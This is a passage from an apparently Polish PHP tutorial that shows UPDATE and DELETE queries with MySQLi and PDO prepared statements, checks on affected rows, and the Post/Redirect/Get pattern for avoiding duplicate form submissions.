            if ($stmt-&gt;execute(&#91;
                'email' =&gt; $email,
                'level' =&gt; $level,
                'coins' =&gt; $coins,
                'rank_name' =&gt; $rank_name,
                'id' =&gt; $player_id
            ])) {
                // Sprawdzamy ile wierszy zostało zaktualizowanych
                $affected_rows = $stmt-&gt;rowCount();
                
                if ($affected_rows &gt; 0) {
                    $success = true;
                    $success_message = "Profil gracza '{$gracz&#91;'username']}' został zaktualizowany! (Zmieniono {$affected_rows} rekord)";
                    
                    // Odświeżamy dane gracza
                    $stmt_refresh = $pdo-&gt;prepare("SELECT * FROM players WHERE id = :id");
                    $stmt_refresh-&gt;execute(&#91;'id' =&gt; $player_id]);
                    $gracz = $stmt_refresh-&gt;fetch();
                } else {
                    $success_message = "Nie wprowadzono żadnych zmian (dane są identyczne)";
                }
            }
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Edycja profilu - &lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }
        .container {
            max-width: 800px;
            margin: 0 auto;
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
        }
        h1 {
            margin-bottom: 10px;
            color: #333;
        }
        .subtitle {
            color: #666;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input, select {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus, select:focus {
            outline: none;
            border-color: #667eea;
        }
        .form-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .info-box {
            background: #e7f3ff;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #2196F3;
        }
        .back-link {
            display: inline-block;
            margin-top: 20px;
            color: #667eea;
            text-decoration: none;
        }
        .back-link:hover {
            text-decoration: underline;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="container"&gt;
    &lt;h1&gt;Edycja profilu gracza&lt;/h1&gt;
    &lt;div class="subtitle"&gt;ID: &lt;?= $gracz&#91;'id'] ?&gt; | Nick: &lt;strong&gt;&lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/strong&gt;&lt;/div&gt;
    
    &lt;?php if ($success): ?&gt;
        &lt;div class="success"&gt;
            &lt;?= htmlspecialchars($success_message) ?&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;?php if (!empty($errors)): ?&gt;
        &lt;div class="error"&gt;
            &lt;strong&gt;Błędy walidacji:&lt;/strong&gt;
            &lt;ul&gt;
                &lt;?php foreach ($errors as $error): ?&gt;
                    &lt;li&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/li&gt;
                &lt;?php endforeach; ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;div class="info-box"&gt;
        &lt;strong&gt;Informacje:&lt;/strong&gt;&lt;br&gt;
        • Nick gracza nie może być edytowany (to unikalna nazwa)&lt;br&gt;
        • Hasło można zmienić w osobnej sekcji zabezpieczeń&lt;br&gt;
        • Data rejestracji: &lt;?= date('d.m.Y H:i', strtotime($gracz&#91;'created_at'])) ?&gt;
    &lt;/div&gt;
    
    &lt;form method="POST"&gt;
        &lt;div class="form-group"&gt;
            &lt;label&gt;Email:&lt;/label&gt;
            &lt;input type="email" name="email" 
                   value="&lt;?= htmlspecialchars($gracz&#91;'email']) ?&gt;" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-row"&gt;
            &lt;div class="form-group"&gt;
                &lt;label&gt;Poziom (1-100):&lt;/label&gt;
                &lt;input type="number" name="level" 
                       min="1" max="100"
                       value="&lt;?= $gracz&#91;'level'] ?&gt;" 
                       required&gt;
            &lt;/div&gt;
            
            &lt;div class="form-group"&gt;
                &lt;label&gt;Coins:&lt;/label&gt;
                &lt;input type="number" name="coins" 
                       min="0"
                       value="&lt;?= $gracz&#91;'coins'] ?&gt;" 
                       required&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Ranga:&lt;/label&gt;
            &lt;select name="rank_name" required&gt;
                &lt;option value="Bronze" &lt;?= $gracz&#91;'rank_name'] == 'Bronze' ? 'selected' : '' ?&gt;&gt;Bronze&lt;/option&gt;
                &lt;option value="Silver" &lt;?= $gracz&#91;'rank_name'] == 'Silver' ? 'selected' : '' ?&gt;&gt;Silver&lt;/option&gt;
                &lt;option value="Gold" &lt;?= $gracz&#91;'rank_name'] == 'Gold' ? 'selected' : '' ?&gt;&gt;Gold&lt;/option&gt;
                &lt;option value="Platinum" &lt;?= $gracz&#91;'rank_name'] == 'Platinum' ? 'selected' : '' ?&gt;&gt;Platinum&lt;/option&gt;
                &lt;option value="Diamond" &lt;?= $gracz&#91;'rank_name'] == 'Diamond' ? 'selected' : '' ?&gt;&gt;Diamond&lt;/option&gt;
                &lt;option value="Master" &lt;?= $gracz&#91;'rank_name'] == 'Master' ? 'selected' : '' ?&gt;&gt;Master&lt;/option&gt;
                &lt;option value="Grandmaster" &lt;?= $gracz&#91;'rank_name'] == 'Grandmaster' ? 'selected' : '' ?&gt;&gt;Grandmaster&lt;/option&gt;
            &lt;/select&gt;
        &lt;/div&gt;
        
        &lt;button type="submit"&gt;Zapisz zmiany&lt;/button&gt;
    &lt;/form&gt;
    
    &lt;a href="profil.php?id=&lt;?= $player_id ?&gt;" class="back-link"&gt;← Powrót do profilu&lt;/a&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h4 class="wp-block-heading">Sprawdzanie wyniku operacji UPDATE</h4>



<h5 class="wp-block-heading">Metody sprawdzania dla MySQLi:</h5>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// 1. Sprawdź ile wierszy zostało zaktualizowanych
$affected_rows = $stmt-&gt;affected_rows;  // Obiektowo

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt-&gt;execute()) {
    if ($affected_rows &gt; 0) {
        echo "Zaktualizowano {$affected_rows} rekord(ów)";
    } else {
        echo "Nie wprowadzono zmian (dane są identyczne)";
    }
} else {
    echo "Błąd: {$stmt-&gt;error}";
}

// 3. Sprawdź czy rekord istnieje przed UPDATE
$stmt_check = $db-&gt;prepare("SELECT id FROM players WHERE id = ?");
$stmt_check-&gt;bind_param("i", $player_id);
$stmt_check-&gt;execute();
$stmt_check-&gt;store_result();

if ($stmt_check-&gt;num_rows == 0) {
    echo "Rekord o tym ID nie istnieje";
}</code></pre>



<h5 class="wp-block-heading">Metody sprawdzania dla PDO:</h5>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// 1. Sprawdź ile wierszy zostało zaktualizowanych
$affected_rows = $stmt-&gt;rowCount();

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt-&gt;execute()) {
    if ($affected_rows &gt; 0) {
        echo "Zaktualizowano {$affected_rows} rekord(ów)";
    } else {
        echo "Nie wprowadzono zmian (dane są identyczne)";
    }
}

// 3. Sprawdź czy rekord istnieje przed UPDATE
$stmt_check = $pdo-&gt;prepare("SELECT id FROM players WHERE id = :id");
$stmt_check-&gt;execute(&#91;'id' =&gt; $player_id]);

if (!$stmt_check-&gt;fetch()) {
    echo "Rekord o tym ID nie istnieje";
}</code></pre>



<h3 class="wp-block-heading">Przykład 4: Aktualizacja wielu graczy naraz (batch UPDATE)</h3>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

// Przykład: Dodaj 100 coins wszystkim graczom Bronze
$rank = 'Bronze';
$bonus_coins = 100;

$stmt = $db-&gt;prepare("UPDATE players SET coins = coins + ? WHERE rank_name = ?");
$stmt-&gt;bind_param("is", $bonus_coins, $rank);

if ($stmt-&gt;execute()) {
    $affected_rows = $stmt-&gt;affected_rows;
    
    if ($affected_rows &gt; 0) {
        echo "Sukces! Dodano {$bonus_coins} coins dla {$affected_rows} graczy rangi {$rank}";
    } else {
        echo "Nie znaleziono graczy rangi {$rank} lub już mieli te coins";
    }
} else {
    echo "Błąd: {$stmt-&gt;error}";
}

$stmt-&gt;close();
$db-&gt;close();
?&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    // Przykład: Dodaj 100 coins wszystkim graczom Bronze
    $rank = 'Bronze';
    $bonus_coins = 100;
    
    $stmt = $pdo-&gt;prepare("UPDATE players SET coins = coins + :bonus WHERE rank_name = :rank");
    
    if ($stmt-&gt;execute(&#91;'bonus' =&gt; $bonus_coins, 'rank' =&gt; $rank])) {
        $affected_rows = $stmt-&gt;rowCount();
        
        if ($affected_rows &gt; 0) {
            echo "Sukces! Dodano {$bonus_coins} coins dla {$affected_rows} graczy rangi {$rank}";
        } else {
            echo "Nie znaleziono graczy rangi {$rank} lub już mieli te coins";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;</code></pre>



<h2 class="wp-block-heading">DELETE &#8211; Usuwanie rekordów</h2>



<h3 class="wp-block-heading">Przykład 5: Usuwanie gracza z potwierdzeniem (GET + POST)</h3>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

$gracz = null;
$deleted = false;

// Pobieramy ID gracza z URL
$player_id = (int)($_GET&#91;'id'] ?? 0);

if ($player_id &lt;= 0) {
    die('Nieprawidłowe ID gracza');
}

// Pobieramy dane gracza do wyświetlenia
$stmt = $db->prepare("SELECT * FROM players WHERE id = ?");
$stmt->bind_param("i", $player_id);
$stmt->execute();
$wynik = $stmt->get_result();
$gracz = $wynik->fetch_assoc();
$stmt->close();

if (!$gracz) {
    die('Nie znaleziono gracza o ID: ' . $player_id);
}

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST&#91;'confirm_delete'])) {
    
    // Dodatkowe zabezpieczenie - sprawdzamy token CSRF (opcjonalnie)
    // if ($_POST&#91;'token'] !== $_SESSION&#91;'token']) die('Invalid token');

    $stmt = $db->prepare("DELETE FROM players WHERE id = ?");
    $stmt->bind_param("i", $player_id);
    
    if ($stmt->execute()) {
        // Sprawdzamy ile wierszy zostało usuniętych
        $affected_rows = $stmt->affected_rows;
        
        if ($affected_rows > 0) {
            $deleted = true;
            $username = $gracz&#91;'username'];
            $success_message = "Gracz '{$username}' (ID: {$player_id}) został permanentnie usunięty z bazy danych.";
        } else {
            $error_message = "Rekord nie został usunięty (możliwe że już nie istnieje)";
        }
    } else {
        $error_message = "Błąd podczas usuwania: {$stmt->error}";
    }
    
    $stmt->close();
}

$db->close();
?>

&lt;!DOCTYPE html>
&lt;html lang="pl">
&lt;head>
    &lt;meta charset="UTF-8">
    &lt;title>Usuń gracza - &lt;?= htmlspecialchars($gracz&#91;'username'] ?? 'Usunięty') ?>&lt;/title>
    &lt;style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #ff6b6b 0%, #ee5a6f 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.3);
            max-width: 600px;
            width: 100%;
        }
        h1 {
            color: #d32f2f;
            margin-bottom: 20px;
            text-align: center;
        }
        .warning {
            background: #fff3cd;
            border-left: 4px solid #ffc107;
            padding: 20px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .player-info {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .player-info h3 {
            margin-bottom: 15px;
            color: #333;
        }
        .player-info p {
            margin: 8px 0;
            color: #666;
        }
        .buttons {
            display: flex;
            gap: 10px;
            margin-top: 30px;
        }
        button, .button {
            flex: 1;
            padding: 15px;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            text-align: center;
            text-decoration: none;
            display: inline-block;
        }
        .btn-delete {
            background: #d32f2f;
            color: white;
        }
        .btn-delete:hover {
            background: #b71c1c;
        }
        .btn-cancel {
            background: #6c757d;
            color: white;
        }
        .btn-cancel:hover {
            background: #5a6268;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .checkbox-confirm {
            margin: 20px 0;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .checkbox-confirm input {
            width: 20px;
            height: 20px;
            cursor: pointer;
        }
        .checkbox-confirm label {
            cursor: pointer;
            user-select: none;
        }
    &lt;/style>
&lt;/head>
&lt;body>

&lt;div class="container">
    &lt;?php if ($deleted): ?>
        &lt;div class="success">
            &lt;h2>Gracz został usunięty&lt;/h2>
            &lt;p>&lt;?= htmlspecialchars($success_message) ?>&lt;/p>
            &lt;br>
            &lt;a href="lista_graczy.php" class="button btn-cancel">← Powrót do listy graczy&lt;/a>
        &lt;/div>
    &lt;?php else: ?>
        &lt;h1>Usuń gracza&lt;/h1>
        
        &lt;?php if (isset($error_message)): ?>
            &lt;div class="error">
                &lt;?= htmlspecialchars($error_message) ?>
            &lt;/div>
        &lt;?php endif; ?>
        
        &lt;div class="warning">
            &lt;strong>OSTRZEŻENIE:&lt;/strong>&lt;br>
            Ta operacja jest &lt;strong>nieodwracalna&lt;/strong>! Gracz i wszystkie jego dane zostaną &lt;strong>permanentnie usunięte&lt;/strong> z bazy danych.
        &lt;/div>
        
        &lt;div class="player-info">
            &lt;h3>Dane gracza do usunięcia:&lt;/h3>
            &lt;p>&lt;strong>ID:&lt;/strong> &lt;?= $gracz&#91;'id'] ?>&lt;/p>
            &lt;p>&lt;strong>Username:&lt;/strong> &lt;?= htmlspecialchars($gracz&#91;'username']) ?>&lt;/p>
            &lt;p>&lt;strong>Email:&lt;/strong> &lt;?= htmlspecialchars($gracz&#91;'email']) ?>&lt;/p>
            &lt;p>&lt;strong>Level:&lt;/strong> &lt;?= $gracz&#91;'level'] ?>&lt;/p>
            &lt;p>&lt;strong>Rank:&lt;/strong> &lt;?= $gracz&#91;'rank_name'] ?>&lt;/p>
            &lt;p>&lt;strong>Coins:&lt;/strong> &lt;?= number_format($gracz&#91;'coins']) ?>&lt;/p>
            &lt;p>&lt;strong>Rozegrane gry:&lt;/strong> &lt;?= $gracz&#91;'games_played'] ?>&lt;/p>
            &lt;p>&lt;strong>Data rejestracji:&lt;/strong> &lt;?= date('d.m.Y H:i', strtotime($gracz&#91;'created_at'])) ?>&lt;/p>
        &lt;/div>
        
        &lt;form method="POST">
            &lt;div class="checkbox-confirm">
                &lt;input type="checkbox" id="confirm" name="confirm_check" required>
                &lt;label for="confirm">Potwierdzam, że chcę &lt;strong>permanentnie usunąć&lt;/strong> tego gracza&lt;/label>
            &lt;/div>
            
            &lt;div class="buttons">
                &lt;a href="profil.php?id=&lt;?= $player_id ?>" class="button btn-cancel">Anuluj&lt;/a>
                &lt;button type="submit" name="confirm_delete" class="btn-delete" onclick="return confirm('Czy NA PEWNO chcesz usunąć tego gracza? Ta operacja jest NIEODWRACALNA!')">
                    Usuń gracza
                &lt;/button>
            &lt;/div>
        &lt;/form>
    &lt;?php endif; ?>
&lt;/div>

&lt;/body>
&lt;/html></code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    $gracz = null;
    $deleted = false;
    
    // Pobieramy ID gracza z URL
    $player_id = (int)($_GET&#91;'id'] ?? 0);
    
    if ($player_id &lt;= 0) {
        die('Nieprawidłowe ID gracza');
    }
    
    // Pobieramy dane gracza do wyświetlenia
    $stmt = $pdo->prepare("SELECT * FROM players WHERE id = :id");
    $stmt->execute(&#91;'id' => $player_id]);
    $gracz = $stmt->fetch();
    
    if (!$gracz) {
        die('Nie znaleziono gracza o ID: ' . $player_id);
    }
    
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST&#91;'confirm_delete'])) {
        
        // Dodatkowe zabezpieczenie - sprawdzamy token CSRF (opcjonalnie)
        // if ($_POST&#91;'token'] !== $_SESSION&#91;'token']) die('Invalid token');
        
        // BEZPIECZNE - DELETE z prepared statement
        $stmt = $pdo->prepare("DELETE FROM players WHERE id = :id");
        
        if ($stmt->execute(&#91;'id' => $player_id])) {
            // Sprawdzamy ile wierszy zostało usuniętych
            $affected_rows = $stmt->rowCount();
            
            if ($affected_rows > 0) {
                $deleted = true;
                $username = $gracz&#91;'username'];
                $success_message = "Gracz '{$username}' (ID: {$player_id}) został permanentnie usunięty z bazy danych.";
            } else {
                $error_message = "Rekord nie został usunięty (możliwe że już nie istnieje)";
            }
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    $error_message = "Wystąpił błąd podczas usuwania gracza";
}

$pdo = null;
?>

&lt;!DOCTYPE html>
&lt;html lang="pl">
&lt;head>
    &lt;meta charset="UTF-8">
    &lt;title>Usuń gracza - &lt;?= htmlspecialchars($gracz&#91;'username'] ?? 'Usunięty') ?>&lt;/title>
    &lt;style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #ff6b6b 0%, #ee5a6f 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.3);
            max-width: 600px;
            width: 100%;
        }
        h1 {
            color: #d32f2f;
            margin-bottom: 20px;
            text-align: center;
        }
        .warning {
            background: #fff3cd;
            border-left: 4px solid #ffc107;
            padding: 20px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .player-info {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .player-info h3 {
            margin-bottom: 15px;
            color: #333;
        }
        .player-info p {
            margin: 8px 0;
            color: #666;
        }
        .buttons {
            display: flex;
            gap: 10px;
            margin-top: 30px;
        }
        button, .button {
            flex: 1;
            padding: 15px;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            text-align: center;
            text-decoration: none;
            display: inline-block;
        }
        .btn-delete {
            background: #d32f2f;
            color: white;
        }
        .btn-delete:hover {
            background: #b71c1c;
        }
        .btn-cancel {
            background: #6c757d;
            color: white;
        }
        .btn-cancel:hover {
            background: #5a6268;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .checkbox-confirm {
            margin: 20px 0;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .checkbox-confirm input {
            width: 20px;
            height: 20px;
            cursor: pointer;
        }
        .checkbox-confirm label {
            cursor: pointer;
            user-select: none;
        }
    &lt;/style>
&lt;/head>
&lt;body>

&lt;div class="container">
    &lt;?php if ($deleted): ?>
        &lt;div class="success">
            &lt;h2>Gracz został usunięty&lt;/h2>
            &lt;p>&lt;?= htmlspecialchars($success_message) ?>&lt;/p>
            &lt;br>
            &lt;a href="lista_graczy.php" class="button btn-cancel">← Powrót do listy graczy&lt;/a>
        &lt;/div>
    &lt;?php else: ?>
        &lt;h1>Usuń gracza&lt;/h1>
        
        &lt;?php if (isset($error_message)): ?>
            &lt;div class="error">
                &lt;?= htmlspecialchars($error_message) ?>
            &lt;/div>
        &lt;?php endif; ?>
        
        &lt;div class="warning">
            &lt;strong>OSTRZEŻENIE:&lt;/strong>&lt;br>
            Ta operacja jest &lt;strong>nieodwracalna&lt;/strong>! Gracz i wszystkie jego dane zostaną &lt;strong>permanentnie usunięte&lt;/strong> z bazy danych.
        &lt;/div>
        
        &lt;div class="player-info">
            &lt;h3>Dane gracza do usunięcia:&lt;/h3>
            &lt;p>&lt;strong>ID:&lt;/strong> &lt;?= $gracz&#91;'id'] ?>&lt;/p>
            &lt;p>&lt;strong>Username:&lt;/strong> &lt;?= htmlspecialchars($gracz&#91;'username']) ?>&lt;/p>
            &lt;p>&lt;strong>Email:&lt;/strong> &lt;?= htmlspecialchars($gracz&#91;'email']) ?>&lt;/p>
            &lt;p>&lt;strong>Level:&lt;/strong> &lt;?= $gracz&#91;'level'] ?>&lt;/p>
            &lt;p>&lt;strong>Rank:&lt;/strong> &lt;?= $gracz&#91;'rank_name'] ?>&lt;/p>
            &lt;p>&lt;strong>Coins:&lt;/strong> &lt;?= number_format($gracz&#91;'coins']) ?>&lt;/p>
            &lt;p>&lt;strong>Rozegrane gry:&lt;/strong> &lt;?= $gracz&#91;'games_played'] ?>&lt;/p>
            &lt;p>&lt;strong>Data rejestracji:&lt;/strong> &lt;?= date('d.m.Y H:i', strtotime($gracz&#91;'created_at'])) ?>&lt;/p>
        &lt;/div>
        
        &lt;form method="POST">
            &lt;div class="checkbox-confirm">
                &lt;input type="checkbox" id="confirm" name="confirm_check" required>
                &lt;label for="confirm">Potwierdzam, że chcę &lt;strong>permanentnie usunąć&lt;/strong> tego gracza&lt;/label>
            &lt;/div>
            
            &lt;div class="buttons">
                &lt;a href="profil.php?id=&lt;?= $player_id ?>" class="button btn-cancel">Anuluj&lt;/a>
                &lt;button type="submit" name="confirm_delete" class="btn-delete" onclick="return confirm('Czy NA PEWNO chcesz usunąć tego gracza? Ta operacja jest NIEODWRACALNA!')">
                    Usuń gracza
                &lt;/button>
            &lt;/div>
        &lt;/form>
    &lt;?php endif; ?>
&lt;/div>

&lt;/body>
&lt;/html></code></pre>



<h4 class="wp-block-heading">Sprawdzanie wyniku operacji DELETE</h4>



<h5 class="wp-block-heading">Metody sprawdzania dla MySQLi:</h5>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// 1. Sprawdź ile wierszy zostało usuniętych
$affected_rows = $stmt-&gt;affected_rows;

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt-&gt;execute()) {
    if ($affected_rows &gt; 0) {
        echo "Usunięto {$affected_rows} rekord(ów)";
    } else {
        echo "Nie usunięto żadnego rekordu (możliwe że nie istniał)";
    }
} else {
    echo "Błąd: {$stmt-&gt;error}";
}</code></pre>



<h5 class="wp-block-heading">Metody sprawdzania dla PDO:</h5>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// 1. Sprawdź ile wierszy zostało usuniętych
$affected_rows = $stmt-&gt;rowCount();

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt-&gt;execute()) {
    if ($affected_rows &gt; 0) {
        echo "Usunięto {$affected_rows} rekord(ów)";
    } else {
        echo "Nie usunięto żadnego rekordu (możliwe że nie istniał)";
    }
}</code></pre>



<h2 class="wp-block-heading">PHP&nbsp;–&nbsp;Zabezpieczenie&nbsp;przed&nbsp;duplikatami&nbsp;po&nbsp;odświeżeniu&nbsp;strony&nbsp;(F5)</h2>



<h3 class="wp-block-heading">Problem:&nbsp;Ponowne&nbsp;wysłanie&nbsp;formularza</h3>



<p class="wp-block-paragraph">Co się dzieje gdy użytkownik naciśnie F5?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">1. Użytkownik wypełnia formularz rejestracji
2. Klika "Wyślij" (POST)
3. Dane zostają zapisane w bazie
4. Strona wyświetla "Sukces!"
5. Użytkownik naciska F5 (odświeżenie)
6. Przeglądarka pyta: "Czy ponownie wysłać formularz?"
7. Jeśli użytkownik kliknie "Tak" → próba dodania tego samego gracza ponownie!</code></pre>



<p class="wp-block-paragraph">Konsekwencje:</p>



<ul class="wp-block-list">
<li>Duplikaty w bazie danych</li>



<li>Błędy (jeśli są ograniczenia UNIQUE)</li>



<li>Złe doświadczenie użytkownika</li>



<li>Problemy z logowaniem transakcji</li>
</ul>



<h3 class="wp-block-heading">Rozwiązanie: Post/Redirect/Get (PRG Pattern)</h3>



<p class="wp-block-paragraph">Po wykonaniu operacji należy dodać kod</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// PRZEKIEROWANIE - zapobiega duplikatom
        header("Location: nazwa_strony.php?&lt;dalej możemy przekazać dane w GET&gt;;
        exit; // ZAWSZE exit po header!</code></pre>



<h3 class="wp-block-heading">Przykład 1: Podstawowe przekierowanie</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST&#91;'username'] ?? '');
    $email = trim($_POST&#91;'email'] ?? '');
    
    // Walidacja...
    
    $stmt = $db-&gt;prepare("INSERT INTO players (username, email, created_at) VALUES (?, ?, NOW())");
    $stmt-&gt;bind_param("ss", $username, $email);
    
    if ($stmt-&gt;execute()) {
        $new_player_id = $stmt-&gt;insert_id;
        
        $stmt-&gt;close();
        $db-&gt;close();
        
        // PRZEKIEROWANIE - zapobiega duplikatom
        header("Location: profil.php?id={$new_player_id}");
        exit; // ZAWSZE exit po header!
    }
    
    $stmt-&gt;close();
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;form method="POST"&gt;
    &lt;input type="text" name="username" required&gt;
    &lt;input type="email" name="email" required&gt;
    &lt;button type="submit"&gt;Zarejestruj&lt;/button&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 2: Przekazywanie informacji przez URL (GET)</h3>



